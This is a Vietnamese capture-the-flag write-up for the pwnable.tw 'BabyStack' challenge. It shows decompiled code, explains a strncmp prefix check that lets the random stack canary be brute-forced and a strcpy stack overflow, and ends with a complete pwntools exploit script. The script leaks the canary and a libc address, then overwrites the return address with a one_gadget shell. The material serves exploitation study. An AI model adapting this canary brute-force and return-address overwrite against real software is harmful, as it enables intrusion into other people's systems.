BabyStack
Vuln: Chương trình kiểm tra mật khẩu không cẩn thận với hàm strncmp(), dẫn đến bị bruteforce bởi attacker. Chương trình copy dữ liệu với hàm strcpy() nhưng không kiểm tra kích thước buffer, dẫn đến stack buffer overflow.
tl;dr: Từ hàm này có thể gây overflow trên stack frame của hàm khác.
Recon
Mitigation
$ pwn checksec babystack
[*] '/home/hungnt/pwnable.tw/babystack/babystack'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled$ file babystack
babystack: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, strippedCode
main()
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_QWORD *v3; // rcx
__int64 v4; // rdx
char v6[64]; // [rsp+0h] [rbp-60h] BYREF
char rand0[16]; // [rsp+40h] [rbp-20h] BYREF
char choice[16]; // [rsp+50h] [rbp-10h] BYREF
setup();
fd_random = open("/dev/urandom", 0);
read(fd_random, rand0, 0x10uLL);
v3 = rand1;
v4 = *(_QWORD *)&rand0[8];
*(_QWORD *)rand1 = *(_QWORD *)rand0;
v3[1] = v4;
close(fd_random);
while ( 1 )
{
write(1, ">> ", 3uLL);
_read_chk(0LL, choice, 16LL, 16LL);
if ( choice[0] == '2' )
break;
if ( choice[0] == '3' )
{
if ( check )
magic_copy(v6);
else
invalid:
puts("Invalid choice");
}
else
{
if ( choice[0] != '1' )
goto invalid;
if ( check )
check = 0;
else
login(rand0);
}
}
if ( !check )
exit(0);
memcmp(rand0, rand1, 0x10uLL);
return 0LL;
}login()
int __fastcall login(const char *rand0)
{
size_t pw_len; // rax
char password[128]; // [rsp+10h] [rbp-80h] BYREF
printf("Your passowrd :");
sub_CA0((unsigned __int8 *)password, 127u);
pw_len = strlen(password);
if ( strncmp(password, rand0, pw_len) )
return puts("Failed !");
check = 1;
return puts("Login Success !");
}magic_copy()
int __fastcall magic_copy(char *a1)
{
char src[128]; // [rsp+10h] [rbp-80h] BYREF
printf("Copy :");
sub_CA0((unsigned __int8 *)src, 63u);
strcpy(a1, src);
return puts("It is magic copy !");
}Solve
Chương trình đọc 16 bytes ngẫu nhiên từ /dev/urandom rồi ghi vào rand0, copy vào rand1, giá trị này đc dùng làm stack canary.
Vì ở hàm login(), chương trình check mật khẩu bằng hàm strncmp():
pw_len = strlen(password);
if ( strncmp(password, rand0, pw_len) )
return puts("Failed !");Nên chỉ cần mật khẩu mình nhập vào và số ngẫu nhiên kia trùng prefix là login thành công. Và lại còn đc phép login nhiều lần, nên mình có thể bruteforce đc stack canary.
Mục tiêu bây giờ là làm sao buffer overflow để ghi đè đc return address. Nhưng lấy đâu ra buffer overflow bây giờ? Mình lợi dụng hàm strcpy() ở magic_copy(). Vì khoảng cách từ v6 đến return address chắc chắn ngắn hơn từ src, nên nếu dữ liệu ở src vượt quá 64 bytes, thì strcpy() sẽ gây overflow, vì nó copy cho đến khi gặp null byte mà.
Nhưng ở magic_copy() chỉ đc nhập 63 bytes vào src. Nhưng lại để ý là src ko bị clear, trước đó ở login() mình đc nhập vào 127 bytes password, mà buffer của password lại trùng với src trên stack frame, vậy là có thể dễ dàng buffer overflow ghi đè return address của main().
Rồi nhưng mà ghi đè return address với cái gì bây giờ? Mình phải leak libc đã chứ nhỉ? Thế thì mình lại lợi dụng hàm strcpy() để copy dữ liệu trên stack vào rand0 (trùng hợp là một địa chỉ libc). Sau đó mình lại bruteforce đc địa chỉ libc, thế là ok.
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("babystack_patched", checksec=False)
libc = ELF("libc_64.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)
context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "split-pane", "-V", "-s", "0.5", "wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
breakrva 0xEBB
breakrva 0x1052
# breakrva 0xE1E
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(1)
return p
else:
host = "chall.pwnable.tw"
port = 10205
return remote(host, port)
p = conn()
def login(pw):
sla(p, b'>>', b'1')
sa(p, b'passowrd', pw)
def magic_copy(pl):
sla(p, b'>>', b'3')
sa(p, b'Copy', pl)
sleep(0.01)
def bf(result_len, init=b''):
result = init
last_correct = False
while len(result) < result_len:
print(result)
for i in range(1, 0xff):
slan(p, b'>>', 1)
if last_correct:
last_correct = False
break
sla(p, b'passowrd', result + p8(i))
if b"Failed" in rl(p):
continue
else:
last_correct = True
result += p8(i)
return result
# Brute force canary
print("Leaking canary")
canary = bf(16)
print(f"canary -> {canary}")
# Copy libc address
login(b'\0' + pad(63) + pad(8))
magic_copy(pad(63))
slan(p, b'>>', 1)
# Brute force libc
print("Leaking libc")
leak_libc = bf(14, pad(8))
libc.address = leak_bytes(leak_libc[8:], 0x78439)
lg("libc base", libc.address)
print("Spawn shell")
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
'''
one_gadget = libc.address + 0x45216
lg("one gadget", one_gadget)
login(flat(
b'\0',
pad(63),
canary,
pad(104 - 64 - 16),
one_gadget
))
magic_copy(pad(63))
slan(p, b'>>', 2)
ia(p)